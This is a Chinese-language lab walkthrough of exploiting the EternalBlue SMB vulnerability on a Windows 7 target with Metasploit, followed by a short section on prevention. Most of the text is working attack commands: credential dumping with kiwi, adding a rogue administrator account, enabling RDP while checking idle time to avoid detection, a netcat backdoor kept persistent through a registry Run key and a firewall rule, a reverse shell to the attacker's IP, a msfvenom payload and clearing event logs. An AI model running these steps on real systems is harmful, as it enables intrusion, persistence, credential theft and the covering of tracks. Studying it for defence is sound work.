目录
实验环境:windows7
首先关闭防火墙
目标靶机ip地址为192.168.31.89
一、漏洞利用
1.主机发现
nmap -sP 192.168.31.0/24
2.msf拿取shell
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.31.89
run
输入shell,拿到系统权限,再输入chcp 65001解决乱码
3.获取屏幕
meterpreter > screenshot #屏幕截图
4.文件上传
新建文件
upload user.txt c://
5.文件下载
download c://1.txt
6.远程登录
使用命令打开目标靶机的3389端口,远程登录端口
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。
rdesktop 192.168.31.89
创建一个用户
meterpreter > shell #进入命令行
net user kill 123 /add #新建用户kill 密码123
net localgroup administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user #查看用户
使用kiwi模块查看登录密码
meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all #列举所有凭据
exit #退出
连接成功
但是这里有个问题,就是创建一个账户并登录后会挤掉原本的账户登录
7.上传后门
上传“瑞士军刀”,保证随时可以建立shell连接
upload /usr/share/windows-binaries/nc.exe C:\\Windows
这里强调要上传的Windows目录也就是系统自带目录,否则后门连接会因权限不足或切换账号而失败
nc利用
法一:目标主动(推荐)
向注册表中插入一条记录,使得目标靶机开机后启动nc.exe,将7777端口暴露
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 4444 -e cmd.exe'
加入防火墙规则,以保证目标机开启防火墙后仍然可以访问到后门
netsh firewall add portopening TCP 4444 "kill" ENABLE ALL
成功连接后门
法二:目标被动(该方法需要msf协助,有点本末倒置)
客户端
nc -lnvp 1234 #开启本地1234端口监听反弹过来的shell
服务端
使用msf强行将shell反弹到kali
nc.exe -e cmd.exe 192.168.1.2 1234 #将cmd.exe发送到kali的1234端口
8.免杀
使用msf的msfvenom木马生成功能生成
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.4.7.139 lport=4444 -f exe -o shell.exe
#将shell反弹到kali的4444端口
upload /usr/share/windows-binaries/nc.exe c:\\Windows\\addins
upload shell.exe c:\\Windows\\addins
可以看到360和火绒都可以查杀出来
9.清除日志
查看系统日志
meterpreter > clearev
可以看到日志被清除
二、预防策略
- 打开防火墙,安装杀毒软件。
- 关闭445端口及不必要的服务。
-
安装对应补丁。
1.打开防火墙
打开防火墙后永恒之蓝漏洞将无法被利用
打不进去
2.安装杀毒软件
安装杀毒软件后,例如火绒或者360会自动帮你打补丁,并且会把nc后门给自动屏蔽杀掉
3.禁用445端口
使用防火墙新增规则,禁用端口
防火墙->高级设置->入站规则->新建规则
关闭server服务
WIN+R 运行--services.msc
关闭不必要的服务
比如 网络发现、文件传输、共享、打印、远程连接、远程桌面。
4.IPsec关闭高危端口
在“开始”菜单选择“运行”,输入“gpedit.msc”后回车,打开本地组策略编辑器。依次展开“计算机配置—windows设置—安全设置—ip安全策略,在 本地计算机”,右键创建ip安全策略:
添加筛选器列表
添加筛选器操作
添加成功
5.注册表关闭445端口
注册表方式关闭445端口,还有防火墙规则方式,cmd命令提示行关闭等等。
WIN+R 运行--regedit 进入注册表:
找到注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”
选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。(64位 32位根据自己系统需求)
这里选64位
将DWORD值重命名为“SMBDeviceEnabled”
右键修改"数值数据"的值为0(0代表关闭,1代表打开),点击确定,完成设置 。
最后重启电脑即可关闭445端口。
6.打补丁
补丁网站